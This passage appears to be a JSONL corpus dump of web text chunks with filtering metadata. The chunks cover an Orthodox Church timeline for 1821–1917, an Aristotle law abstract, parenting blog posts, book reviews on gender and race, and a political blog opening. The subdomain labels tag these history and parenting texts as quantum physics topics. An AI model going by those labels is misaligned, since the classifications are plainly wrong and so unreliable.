part of the series | | holy scripture | the symbol of faith | the holy trinity | | god the father | the holy spirit | edit this box | the history of the church is a vital part of the orthodox christian faith. orthodox christians are defined significantly by their continuity with all those who have gone before, those who first received and preached the truth of jesus christ to the world, those who helped to formulate the expression and worship of our faith, and those who continue to move forward in the unchanging yet ever - dynamic holy tradition of the orthodox church. modern era ( 1821 - 1917 ) - 1821 metr. germanos of patra declares greek independence on day of annunciation ( march 25 ), also kyriopascha ; martyrdom of patr. gregory v of constantinople, abp. kyprianos of cyprus, and abp. gerasimos of crete in retaliation. - 1823 icon of panagia evangelistria found on tinos, led by a vision from pelagia of tinos, becoming the most venerated pilgrimage item in greece, at the church of evangelistria. - 1825 russia and britain establish alaska / canada boundary. - 1829 treaty of adrianople ends greek war of independence, culminating in the creation of the modern greek state. - ca. 1830 slavophile movement begins in russia. - 1831 return of 3, 000, 000 uniates with the orthodox church at vilnius in 1831. - 1832 church of serbia becomes de facto autocephalous. - 1833 church of greece declares autocephaly, making it independent of the constantinople ; death of seraphim of sarov. - 1839 synod of polotsk abolishes union of brest - litovsk in all areas under russian rule as greek catholic dioceses in lithuania and belarus re - enter the orthodox church ( with the exception of the eparchy of chelm, in polish territory, which was itself integrated into the russian orthodox church in 1875 ). - 1840s correspondence of anglican william palmer with alexei khomakiov, and philaret of moscow towards establishment of western rite church in england. - ca. 1840s emergence of the neo - byzantine architectural revival style in the russian empire and western europe. - 1843 - 46 massacre of over 10, 000 assyrian christians ( nestorian, jacobite, chaldean ) in tiyare and hakkari, near nineveh in kurdistan,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42980537654818474, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.359599"} {"text": "byzantine architectural revival style in the russian empire and western europe. - 1843 - 46 massacre of over 10, 000 assyrian christians ( nestorian, jacobite, chaldean ) in tiyare and hakkari, near nineveh in kurdistan, by beder khan - bey. - 1847 restoration of latin patriarchate of jerusalem by pope pius ix. - 1848 encyclical of the eastern patriarchs sent by the primates and synods of the four ancient patriarchates of the orthodox church, condemning the filioque as heresy, declaring the roman catholic church to be heretical, schismatic, and in apostasy, repudiating ultramontanism and referring to the photian council of 879 - 880 as the \" eighth ecumenical council. \" - 1850 church of constantinople recognizes autocephaly of church of greece. - 1851 translation into english of septuagint by lancelot c. l. brenton ; ottoman empire recognizes france as supreme christian authority in holy land and grants it possession of the church of the nativity. - 1852 ottoman empire makes division of church of the holy sepulchre permanent. - 1852 - 72 tregelles ' critical greek text of the new testament. - 1853 - 56 crimean war fought between russia and the ottoman empire together with britain and france, beginning over which church would be recognized as the \" sovereign authority \" of the christian faith in the holy land. - 1854 immaculate conception declared dogma by roman catholic church. - 1859 constantin von tischendorf discovers codex sinaiticus at st. catherine ' s monastery ; charles darwin ' s on the origin of species by means of natural selection published ; christian quarter of damascus sacked by a muslim mob also involving turkish troops. - 1860 death of alexei khomiakov, co - founder of the slavophile movement. - 1864 first orthodox parish established on american soil in new orleans, louisiana, by greeks ; death of jacob netsvetov ; pope pius ix presented his syllabus of errors. - 1865 church of romania declares its independence from the church of constantinople. - 1867 sale of alaska to united states ; death of ignatius brianchaninov. - 1869 celebration of first miracle of the icon of the theotokos at chernigov - gethsemane ; russian synod authorizes corrected text of western rite liturgy and benedictine offices. - 1870 papal infallibility declared roman catholic dogma necessary for salvation by first vatican council ; papal states cease to exist ; old catholic schism occurs ; old catholics openly court", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45396891940212547, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.360610"} {"text": "; russian synod authorizes corrected text of western rite liturgy and benedictine offices. - 1870 papal infallibility declared roman catholic dogma necessary for salvation by first vatican council ; papal states cease to exist ; old catholic schism occurs ; old catholics openly courted by russian church in france and germany. - 1871 nikolai kasatkin establishes orthodox mission in japan. - 1872 council in jerusalem declares phyletism to be heresy ; church of bulgaria gains de facto autocephaly by a decree of the sultan. - 1873 philotheos bryennios discovers the didache in manuscript with copies of several early church documents. - 1875 uniate diocese of chelm in poland incorporated into russian orthodox church under alexander ii, with all of the local uniates converted to orthodoxy. - 1876 theophan the recluse begins issuing a translation of the philokalia in russian. - 1877 death of arsenios of paros. - 1879 church of constantinople recognizes autocephaly of church of serbia ; death of innocent of alaska ; joseph julian overbeck journeys to constantinople to request approval from patriarch for use of roman liturgy and benedictine offices. - 1881 wave of anti - jewish pogroms in russia causes mass migration of jews ( 2. 5 million jews settle in the united states, thousands settle in palestine ). - 1882 synod of constantinople gives conditional approval to use of roman liturgy and benedictine offices ; nihilist philosopher friedrich nietzsche declares \u201c god is dead \u201d ; mitrophan ji becomes the first chinese ordained a priest in the church of china. - 1884 the way of a pilgrim published in kazan. - 1885 church of constantinople recognizes autocephaly of church of romania ; english revised version published ; archbishop of canterbury officially removes all of apocrypha from king james bible. - 1886 church of maria magdalene built on slope of mount of olives, in the garden of gethsemane in jerusalem by tsar alexander iii. - 1888 typikon of the great church of christ is published with revised church services, prepared by protopsaltis george violakis, issued with the approval and blessing of the ecumenical patriarch, while the sabaite ( monastic ) typikon continues to be used in russia. - 1889 federation of old catholic churches, not in communion with rome, at the union of utrecht. - ca. 1890 unseen warfare further revised by theophan the recluse. - 1890 - 1 bp. vladimir ( sokolovsky - avtonomov ) receives a parish of swiss old catholics at dyckes", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46515823999385875, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.363420"} {"text": "union of utrecht. - ca. 1890 unseen warfare further revised by theophan the recluse. - 1890 - 1 bp. vladimir ( sokolovsky - avtonomov ) receives a parish of swiss old catholics at dyckesville, wisconsin, as western rite parish. - 1891 death of ambrose of optina. - 1892 pastoral visit of bp. nicholas ( ziorov ) to western rite parish in wisconsin. - 1895 reply of synod of constantinople to pope leo xiii. - 1896 pope leo xiii issues the bull apostolicae curae which declares anglican orders \" absolutely null and utterly void \". - 1896 - 1906 oxyrhynchus papyri discovered in egypt dating from the ptolemaic and roman periods, including portions of the new testament. - 1898 last ethnically greek patriarch of antioch deposed ; western rite diocese organized in czechoslovakia by church of russia ; russia established a missionary station in urmia, iran, resulting in a group of nestorians, headed by a bishop, being received into the communion of the russian orthodox church. - 1899 restoration of arabs to the patriarchal throne of antioch. - 1900 martyrdom of orthodox christians in chinese boxer ( yihetuan movement ) rebellion. - 1901 \" evangelakia \" riots in athens greece in november, over translations of new testament into demotic ( modern ) greek, resulting in fall of both government and metropolitan of athens. - 1903 uncovering of the relics of seraphim of sarov. - 1904 ecumenical patriarchate publishes the \" patriarchal \" text of the greek new testament, based on about twenty byzantine manuscripts ; petition to russian synod by abp. tikhon ( belavin ), bp. raphael ( hawaweeny ), and fr. john kochurov to permit adaption of services taken from anglican book of common prayer for use by orthodox people. - 1905 death of apostolos makrakis ; tsar nicholas romanov ' s decree on freedom of religion results in about 250, 000 ruthenians returning to uniatism ; seat of russian orthodox bishop in america moved from san francisco to new york, as immigration from eastern europe and the reception of ex - uniates shifts the balance of orthodox population to eastern north america. - 1907 archim. eusebius matthopoulos founds zoe brotherhood ; papal bull ea semper issued, effectively subordinating greek catholic clergy in the united states to local roman catholic bishops ; commission on anglican and old catholic affairs of russian synod reports in favor of adaptation of services", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4504506118579022, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.364525"} {"text": "matthopoulos founds zoe brotherhood ; papal bull ea semper issued, effectively subordinating greek catholic clergy in the united states to local roman catholic bishops ; commission on anglican and old catholic affairs of russian synod reports in favor of adaptation of services from book of common prayer and sets out criteria ; ordination in constantinople of first black american orthodox priest, fr. raphael morgan. - 1908 fr. nikodemos sarikas sent to johannesburg, transvaal, by ecumenical patriarchate as first orthodox priest there, leaving after a short time for german east africa ( later tanzania ) because of the opposition of johannesburg greeks to mission among africans. - 1908 death of john of kronstadt. - 1910 edinburgh missionary conference is the formal beginning of the modern protestant christian ecumenical movement, a precursor to the world council of churches. - 1912 death of nicholas of japan. - 1915 - 18 armenian genocide in turkey. - some of these dates are necessarily a bit vague, as records for some periods are particularly difficult to piece together accurately. - the division of church history into separate eras as done here will always be to some extent arbitrary, though it was attempted to group periods according to major watershed events. - this timeline is necessarily biased toward the history of the orthodox church, though a number of non - orthodox or purely political events are mentioned for their importance in history related to orthodoxy or for reference. - timeline of orthodoxy in america - timeline of orthodoxy in australia - timeline of orthodoxy in china - timeline of orthodoxy in greece - timeline of orthodoxy in new zealand - timeline of orthodoxy in japan - timeline of orthodox church and roman catholic relations the following are published writings that provide an overview of church history : from an orthodox perspective - schmemann, alexander. the historical road of eastern orthodoxy. - ware, timothy. the orthodox church : new edition. ( isbn 0140146563 ) from a heterodox perspective - boer, harry r. a short history of the early church. ( isbn 0802813399 ) - cairns, earle e. christianity through the centuries : a history of the christian church. ( isbn 0310208122 ) - chadwick, henry. the early church. ( isbn 0140231994 ) - collins, michael, ed. ; price, matthew arlen. story of christianity : a celebration of 2000 years of faith. ( isbn 0789446057 ) - eusebius pamphilus ; cruse, c. f. ( translator ). eusebius ' ecclesiastical history. ( isbn", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4045388577083555, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.365514"} {"text": ". story of christianity : a celebration of 2000 years of faith. ( isbn 0789446057 ) - eusebius pamphilus ; cruse, c. f. ( translator ). eusebius ' ecclesiastical history. ( isbn 1565633717 ) - gonzalez, justo l. a history of christian thought, volume 1 : from the beginnings to the council of chalcedon. ( isbn 0687171822 ) - gonzalez, justo l. a history of christian thought, volume 2 : from augustine to the eve of the reformation. ( isbn 0687171830 ) - gonzalez, justo l. a history of christian thought, volume 3 : from the protestant reformation to the twentieth century. ( isbn 0687171849 ) - gonzalez, justo l. the story of christianity, volume 1 : the early church to the reformation. ( isbn 0060633158 ) - gonzalez, justo l. the story of christianity, volume 2 : reformation to the present day. ( isbn 0060633166 ) - hall, stuart g. doctrine and practice in the early church. ( isbn 0802806295 ) - hastings, adrian, ed. a world history of christianity. ( isbn 0802848753 ) - hussey, j. m. the orthodox church in the byzantine empire : oxford history of the christian church. ( isbn 0198264569 ) - jones, timothy p. christian history made easy. ( isbn 1890947105 ) - noll, mark a. turning points : decisive moments in the history of christianity. ( isbn 080106211x ) - pelikan, jaroslav. the christian tradition : a history of the development of doctrine, volume 1 : the emergence of the catholic tradition ( 100 - 600 ). ( isbn 0226653714 ) - pelikan, jaroslav. the christian tradition : a history of the development of doctrine, volume 2 : the spirit of eastern christendom ( 600 - 1700 ). ( isbn 0226653730 ) - pelikan, jaroslav. the christian tradition : a history of the development of doctrine, volume 3 : the growth of medieval theology ( 600 - 1300 ). ( isbn 0226653749 ) - pelikan, jaroslav. the christian tradition : a history of the development of doctrine, volume 4 : reformation of church and dogma ( 1300 - 1700 ).", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44279088322477106, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.366497"} {"text": "aristotle, law and justice : the tragic hero humboldt university of berlin - faculty of law northern kentucky law review, vol. 35, pp. 1 - 18, 2008 aristotle was the greatest scientist in western history. he established the scientific paradigm and the instruments thereof ( materialism and logic ). his work covered all basic sciences : astronomy, botany, logic, mathematics, meteorology philosophy, psychology and political science. aristotle ' s conception of justice pervades the law and heavily influenced the anglo - saxon court system to this day. yet, the mark of a hero in greek tragedy is his tragic flaw. aristotle was not only a great scientist. he was also racist, sexist and homophobic - he thought slavery was natural and good. this tragic flaw in aristotle ' s work has distorted all of western thought since. in order to cure the disease we must understand its origin. this essay describes aristotle ' s theory of justice and law in order to explain just how pervasively his thought influenced the common law. we can and should reject the dark shadow of this great scientist whilst enjoying the greater and better part of his work. number of pages in pdf file : 164 keywords : aristotle, legal theory, philosophy of law, jurisprudence, justice, theory, theory of justice, distributive justice, geometric justice, arithmetic justice, transactional justice, social justice, ratio jel classification : b3, b30, b31, d63accepted paper series date posted : april 30, 2008 ; last revised : november 13, 2009 \u00a9 2013 social science electronic publishing, inc. all rights reserved. this page was processed by apollo5 in 0. 422 seconds", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5366484673654269, "token_count": 339, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.369519"} {"text": "tuesday, november 30, 2010 eating breakfast increases cognitive performance in children, especially tasks that involve processing complex thoughts. other benefits of breakfast include the increased ability to concentrate, stay alert, solve problems, and memorize. some studies have linked a good breakfast to better moods and improved performance on tests. a healthy breakfast should consists of whole - grain bread or cereal combined with a calcium and protein source, such as low fat or fat - free milk, yogurt or cheese. a piece of fresh fruit is a good way to round out the meal. consider the atmosphere in which your children eat their breakfast, too. do they have enough time to sit and eat what you or they have prepared or do they feel rushed? planning enough time for a sit down breakfast is a great way to start the day at a low stress level. it may take some planning ahead to make a healthy breakfast part of your child \u2019 s morning routine, but it can yield benefits related to academic performance as well as nutritional status and health. and that is certainly worth the effort. hillsborough county school children are provided a free breakfast, so if your morning routine just doesn \u2019 t allow breakfast at home, be sure your child gets to school in time for breakfast in the cafeteria. monday, november 29, 2010 according to the apa research, when combining television, internet and video games, children use media an average of 6 \u00bd hours per day. girls now equal boys in video game use as well as internet use. the researchers explain, \u201c massive exposure to media among youth creates the potential for massive exposure to portrayals that sexualize women and girls and teach girls that women are sexual objects. \u201d however, parents can still have a powerful influence on how their children interpret media messages and make healthy choices for themselves. for example, the apa recommends teaching girls to value themselves for who they are, rather than how they look ; and teaching boys to value girls as friends, sisters and girlfriends rather than sexual objects. they also suggest that parents \u201c tune in and talk. \u201d watch, listen and read the same media your children are using and talk to them about it. ask them what they think and listen carefully to what they tell you. also speak up if you don \u2019 t like a tv show, video, music lyrics or even a doll. let your children know what you object to and why. wednesday, november 24, 2010 university of florida researchers recommend that parents introduce pre - teens between the ages of 9 and 12 to spending plans, savings and bank accounts. a teen \u2019 s", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4839329638017714, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.386267"} {"text": "doll. let your children know what you object to and why. wednesday, november 24, 2010 university of florida researchers recommend that parents introduce pre - teens between the ages of 9 and 12 to spending plans, savings and bank accounts. a teen \u2019 s income sources might include allowances, gift and / or employment. if you chose to give an allowance to your kids, determine the amount of an allowance they will receive based on how much her or she actually needs for school or other expenses, and how much the teen can spend as he or she chooses. encourage them to open a savings or checking account to begin managing their own money. once teens have experience managing a checking account, they should be introduced to debit cards or pre - paid checking cards. they gradually become ready for credit cards. as a parent, we need to teach them to keep track of their purchases and to pay off balances each month. begin planning for the future with 16 to 18 years olds. explain taxes and other with - holding that appear on their paychecks. also, encourage them to open an investment account, placing whatever money they can into the account each pay period. by teaching financial dos and don \u2019 ts at an early age, researchers say we can reverse the trend of over - extended college students and personal bankruptcies later in life. tuesday, november 23, 2010 sometimes parents and children have different temperaments, and in that case, parents may need to adjust. how can you, as a parent, create a good fit between your own temperament and your child \u2019 s temperament? first, be aware of your temperament and how your child \u2019 s temperament is similar to or different from your own. keep these differences in mind when you don \u2019 t see eye to eye on things, when your youngster pushes your limits, and when you have trouble understanding your child \u2019 s behavior. embrace what makes her or him unique, without comparing your child to others or trying to change your child. for example, you may have been painfully shy as a child and when you see your young child being shy, you might want to \u201c force \u201d your child to be more outgoing. be patient, and actively work to change any negative reactions you have to your child \u2019 s behavior. also, avoid situations that might set your child off. if your child becomes anxious around crowds and commotion, having a large birthday party at a busy play center may ruin the day for everyone. when we can adjust our parenting methods so there is a good fit between our own temperament and the child \u2019 s", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4513351540525614, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.387386"} {"text": ". if your child becomes anxious around crowds and commotion, having a large birthday party at a busy play center may ruin the day for everyone. when we can adjust our parenting methods so there is a good fit between our own temperament and the child \u2019 s, time together can be more enjoyable. monday, november 22, 2010 all children are born with their own style of interacting with or responding to the world. in a groundbreaking study in the 1950 \u2019 s, researchers identified nine temperament characteristics, or behavior traits, that clinicians and researchers continue to use today. the researchers found that these nine traits were present at birth and continued to influence development throughout life. the nine temperament traits include a child \u2019 s activity level, their rhythm or lack of rhythm in sleeping and eating habits, and approach or withdrawal ( for example, does the child shy away from new people or make friends with every stranger ). three additional temperament traits include adaptability, intensity, and a child \u2019 s typical mood. a child \u2019 s persistence and attention span are also examined for temperament, as well as their sensory threshold, or their ability or inability to tolerate external stimuli, such as loud noises or bright lights. the final trait is distractibility ; the child \u2019 s ability to shut out external distractions and stay with an activity. as parents understand and embrace their children \u2019 s temperaments, they usually have better responses to their children, hopefully making the adventure of parenthood a more pleasant ride. more on temperament to follow on another day. thursday, november 18, 2010 keep a positive attitude. find something you enjoy in each activity and event. limit time with negative people as much as you can. it \u2019 s important that you take care of yourself throughout the year and especially important during the holidays. this means watching what you eat and drink, getting enough rest and exercising. take care of your own needs and pace yourself. if you are getting together with relatives or returning to your parent \u2019 s home, anticipate what might happen and be prepared with a non - defensive response. be realistic about your family and don \u2019 t use holiday celebrations to settle old conflicts. plan on taking a quiet walk when people get to be too much. remember to engage in fun activities that aren \u2019 t costly so that you can focus on the true meaning and essence of the holidays. as a family, plan an event which involves helping the less fortunate. spend time individually with each child so they get the attention they need during the busy holiday season. practicing stress management exercises will help control your stress, too.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4598282770313852, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.388437"} {"text": "essence of the holidays. as a family, plan an event which involves helping the less fortunate. spend time individually with each child so they get the attention they need during the busy holiday season. practicing stress management exercises will help control your stress, too. for a free on - line stress management workshop, go to : http : / / hillsboroughfcs. ifas. ufl. edu / stress - management. html tuesday, november 16, 2010 look at the difference between your expectations and your reality by assessing your current situation ( including time and money ) and acknowledge the limitations you and your family might have. is it reasonable to expect that you can put on a holiday dinner just like grandma used to make? is it reasonable for your children to expect the same amount of gifts under the tree this year if you have been out of a job for the past three months? adjust your plans and budget to be more realistic. aim for reasonable and reachable goals. be honest about your situation and your feelings with family members. a good start to a conversation might be : \u201c i need to stick to a tighter budget this year and would like to adjust our holiday spending. \u201d or \u201c i would like to cut back on the number of gifts we exchange this year, would you be willing to do this? \u201d discuss gift giving in advance \u2013 thanksgiving is a great time to talk about the december holiday plans. offer a gift of time or help instead of a purchased object. in fact, i would love a home - made coupon book for car washes, window cleaning, weed - pulling or a back massage in my stocking! children might like homemade coupons or gift certificates for one hour of monopoly playing, a bike ride together, or one day free from chores. remember to include fun activities for your family! monday, november 15, 2010 in our busy world, however, it \u2019 s not always realistic to continue some traditions. if an old family tradition doesn \u2019 t work for your family anymore, recognize the need for change. engage your family in the process of setting up new traditions that you can each participate in and enjoy together. establish your own traditions while keeping the customs that mean the most to you. make a list of your traditional holiday preparations \u2013 from holiday greeting cards, gift exchanges, holiday meal preparation, to decorating and \u201c clean up and take down \u201d day. then gather your family together and ask what is important to each of them and see if they are willing to help continue that tradition. all family members must \u201c buy into \u201d", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4593841826430449, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.389454"} {"text": "meal preparation, to decorating and \u201c clean up and take down \u201d day. then gather your family together and ask what is important to each of them and see if they are willing to help continue that tradition. all family members must \u201c buy into \u201d the activities and at least lend a helping hand if not completely take over a task. if a tradition has become unimportant to you, or not worth the time, energy and money you would spend on it, feel free to cross it off your list \u2013 at least for this year. you can re - evaluate it later. pare down your to - do list and write names of the people who will take responsibility or help out. break large projects into several smaller steps. then use good organizational and time management techniques to plan ahead, delegate or accomplish tasks necessary for each holiday tradition. thursday, november 11, 2010 while is may seem harmless to add a little bit of honey to your child \u2019 s pacifier, honey often contains spores of bacterium that causes infant botulism. although these bacterial spores do not affect the digestive systems of adults, an infant \u2019 s digestive system is not fully developed, and can \u2019 t prevent the spores from germinating. when this happens, the bacteria produce a toxin that is often fatal. botulism toxin affects the neuromuscular system, leading to a weak and lethargic baby. an infected infant will first experience constipation, followed by a weak cry, poor feeding and sucking ability, droopy eyelids, and overall weakness. noticing these warning signs and seeking medical attention is the best way to ensure a safe recovery if the baby is infected. the most important thing to remember is that infant botulism is preventable. you can keep your baby safe by not feeding your baby honey, even in baked goods, and keeping honey away from your baby \u2019 s pacifier, water and medications. once the infant is over 12 months old, you can relax and allow your little one some honey. tuesday, november 9, 2010 limits are at the foundation of parenting responsibility. they protect youth from physical and psychological harm, protect property, and promote respect for others. limits also give children a sense of security. and usually, they like knowing an adult is in control. it \u2019 s wise to keep the number of limits or rule to the ones that really count. it is important to set limits, but also allow children the opportunity to choose. giving them a choice when you can, helps them develop independence, confidence and a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4218334570729464, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.390454"} {"text": "\u2019 s wise to keep the number of limits or rule to the ones that really count. it is important to set limits, but also allow children the opportunity to choose. giving them a choice when you can, helps them develop independence, confidence and a sense of accountability for their actions. expecting too much can lower a child \u2019 s self - esteem and cause stress in your child. parents should use limits consistently so children aren \u2019 t likely to get confused. of course, as children grow older, their limits should change to reflect their developmental stage. in fact, as children grow, they often have wonderful ideas and opinions about limits. parents can move from being caregivers to nurturers, to encouragers, then counselors. by involving them in discussions, parents are more likely to gain their children \u2019 s cooperation in following rules. children will try to test their limits to see how parents respond. it \u2019 s a crucial part of their development. in testing the limits, children are testing their parent \u2019 s love as well as their commitment to their word and rules. all children need the security of limitations to their behavior, while at the same time needing to grow and explore their world. monday, november 8, 2010 the good news is that in about the past ten years, the percent of high school students in the u. s. who smoked regularly has dropped from about 35 to 23 percent \u2013 according to the centers for disease control. however, there are some teens who appear to be more at risk of picking up the bad habit. recent research published in the american journal of health promotion found that teenage girls who started diets were twice as likely to start smoking as their peers who did not diet. consistent with previous studies, the researchers found that dieting and weight concerns were not related to smoking among boys. additionally, boys who were not overweight were more likely to try smoking, but were not as likely to smoke regularly. the researchers suggested that health educators and practitioners should consider the link between initiation of dieting and regular smoking as they develop and use intervention and smoking prevention messages and programs. they also caution that parents need not panic if their child changes their diet. if, for example, your child begins eating healthier and more balanced meals, these changes should be celebrated as part of a healthier overall lifestyle. thursday, november 4, 2010 when you think of celebrities that are household names, you \u2019 re not likely to think of a fictional character \u2013 yet harry potter has certainly earned that distinction. and while the harry potter books and movies have", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4682716664820009, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.391674"} {"text": "option. parents who use the internet with their teens are more likely to regulate internet use, although older teens are less likely to have many rules. you might be surprised that the research revealed that fathers are more likely than mothers to check the websites their children visit and parents with lower education are more likely to put monitoring software on their home computers. more information is needed to better understand the challenges of the internet for families. but, understanding the opportunities and the risks of the internet may help parents make decisions about the access they allow their teens. monday, november 1, 2010 these grandparents find themselves parenting their grandchildren when the adult child is unable to care for their own children and the grandparents step into help. research tells us that grandparents are also the most willing of any family member to take grandchildren into their home. additionally, grandparents can affect grandchildren even when they don \u2019 t live under the same roof. grandparents can make a difference \u201c from a distance \u201d by positively affecting a child \u2019 s development. recent findings have shown that grandparents buffer the negative effects of high risk circumstances on children. for example, a grandchild \u2019 s sense of emotional closeness to, frequency of contact with, and their view of grandparents as a source of social support can buffer the negative effects of poverty and family stress. the researchers also found that the closer grandchildren were to their grandparents, the less likely they were to be depressed as adults, particularly if their mother experienced depression during their childhood years. as we can see, keeping children involved in their grandparent \u2019 s lives for the sake of grandma and grandpa is only part of the picture. these studies show that it certainly goes both ways! grandparents are important in children \u2019 s lives, especially when facing difficult circumstances.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48397527662372614, "token_count": 344, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.393740"} {"text": "manliness and civilization : a cultural history of gender and race in the united states, 1880 - 1917 ( women in culture and society series ) when former heavyweight champion jim jeffries came out of retirement on the fourth of july, 1910 to fight current black heavywight champion jack johnson in reno, nevada, he boasted that he was doing it \" for the sole purpose of proving that a white man is better than a negro. \" jeffries, though, was trounced. whites everywhere rioted. the furor, gail bederman demonstrates, was part of two fundamental and volatile national obsessions : manhood and racial dominance. in turn - of - the - century america, cultural ideals of manhood changed profoundly, as victorian notions of self - restrained, moral manliness were challenged by ideals of an aggressive, overtly sexualized masculinity. bederman traces this shift in values and shows how it brought together two seemingly contradictory ideals : the unfettered virility of racially \" primitive \" men and the refined superiority of \" civilized \" white men. focusing on the lives and works of four very different americanstheodore roosevelt, educator g. stanley hall, ida b. wells, and charlotte perkins gilmanshe illuminates the ideological, cultural, and social interests these ideals came to serve. on theory and history by wuffles - march 23, 2006 of course bederman is \" biased, \" she is a human being trying to understand something with the mental tools she has available to her. so is everyone else. bederman is called biased because the tools that she chooses to apply are different from those some readers are used to or like. bederman very is very clear that her book is about applying particular theories and examining particular threads in history in order to make certain aspects of that history visible which are not visible under other frameworks. bederman ' s history will not explain everything that happened between 1880 and 1917, even everything that happened to or was done by the figures she chooses to highlight. it would be a mistake to wander around for all of one ' s life trying to make everything one encounters fit within bederman ' s historically specific argument, but by carefully examining the evidence available to her she does succeed in making what was merely assumed or unseen visible to modern readers. unique study on the changing meaning of \" manliness \" by mwreview \" mwreview \" - january 19, 2003 gail bederman writes a unique and impressive study regarding the changing views of american \" manliness \" during the decades", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5199080459532441, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.399005"} {"text": "modern readers. unique study on the changing meaning of \" manliness \" by mwreview \" mwreview \" - january 19, 2003 gail bederman writes a unique and impressive study regarding the changing views of american \" manliness \" during the decades spanning the turn of the century. in the victorian years, \" manliness \" was seen as sexual and physical restraint and moderation in all things. as the 20th century drew near, however, changes in society - - which included industrialization, economic instability, and rising immigration - - called for a different view of \" manliness. \" was mankind becoming soft? was this softness opening the door for the advancement of less \" civilized \" groups? it is important to note that by \" manliness \" and \" civilization \" the subjects of this book meant the \" manliness \" of whites and white \" civilization. \" this attitude was the reason jack johnson ' s ( black boxer ) defeat of jim jeffries ( white boxer ) in 1910 was such a socially explosive event. bederman offers chapters on several period thinkers on the subject including charlotte perkins gilman and theodore roosevelt. gilman saw women as... read more gender as a historical construction and analytical tool by j. w. went - april 19, 2004 after reading the reviews of this book i feel obligated to issue a contrasting view that many of the reviewers, oblivious to the gender system that invisibly yet inextricably contours their own behavior and sense of self, have missed ; incidently, their reviews provide interesting insights not in any regards to the book as they utterly misinterpret the text, but rather themselves and the political texture of contemporary society. bederman illustrates how fin de seicle white men marshalled tropes of masculinity - their conceptions of manhood - to question african - american manhood. the narration of ida b. wells simply illustrates how she and other reformers inverted the gender discourse against the predominant, middle - class anglo conception of manhood to crystallize their hypocrisy. moreover, in no way does her feminism subvert or in some other way negate the value of this book, as it was, and remains a most valuable contribution for gender studies simply because the book shows... read more finalist for the 2009 national book critics circle award in criticism : from agee to astaire, steinbeck to ellington, the creative energies of the depression against a backdrop of poverty and economic... americans overcome their disillusion", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5349513101424341, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:18.399987"} {"text": "so, this is the legacy you want, john mccain? you did not start the race division between the republican and democratic parties, but you are feeding it generously. we can most likely find its birth in the moments after lyndon johnson had addressed congress, advocating for the voting rights act of 1965, and uttering three words that transformed the political divide for the next 43 years. he looked out at his colleagues and the nation and said, \u201c we shall overcome. \u201d [ lbj video ] how \u2019 s that for guts? could you have mustered such courage? it didn \u2019 t take long for the republican party to take advantage of the racist backlash johnson \u2019 s bold statement had caused in the once \u201c solid south. \u201d up to that point nearly every southerner had been a democrat because of racism, since the defeated south had succumbed under a republican president, abraham lincoln, whose worst \u2018 sin \u2019 had been liberation of the nation \u2019 s slaves. [ wikipedia ] with local governments racist to the core, southern democrats nevertheless could scarcely imagine embracing republican beliefs. south carolina \u2019 s racist governor, strom thurmond, made the jump, in 1964, to the republican party [ about. com ], which first didn \u2019 t know what to do with him, as the gop had been dominated by moderate folks such as nelson rockefeller, charles percy, edward brooke, george romney, wayne morse and jacob javits. [ american prospect ] by 